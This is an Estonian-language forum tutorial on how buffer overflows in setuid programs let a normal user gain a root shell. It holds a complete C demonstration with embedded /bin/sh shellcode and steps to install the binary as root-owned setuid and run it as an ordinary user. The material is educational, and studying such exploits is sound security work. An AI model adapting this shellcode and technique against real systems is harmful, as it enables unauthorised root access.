Kõigepealt pead kasutajana sisse logima ja siis käivitad mingi legaalse programmi millele antakse valed parameetrid ja mille keegi assemblerit tundev koll on valmis meisterdanud.
Seal peavad mingid lisa moodulid olema ka asendatud.
Nende kõikide probleemide ema on setuid ja setgid õigusi omavad programmid.
Need programmid on tehtud, et kasutaja saaks käivitada mingi teenuse mis nõuab juure õigusi kuid olles sisse loginud tavakasutajana.
Selle asemel aga, et käivitada legaalne teenus kirjutab pätt programm puskurist üle ja käivitatakse hoopis shell juure õigustega.
Proovi ise
Kood: |
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
int main(int argc, char **argv){
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer, large_string);
return 0;
}
|
Kompileeri see ja su rootiks
chown root.root objektfile
chmod u+s objektfile
nüüd tagasi tavakasutajaks ja käivita see programm:
whoami ?
Tehnika on sama olenemata mis meetodit kasutatakse.
Soovitav on sellele programmile kinga anda pärast proovimist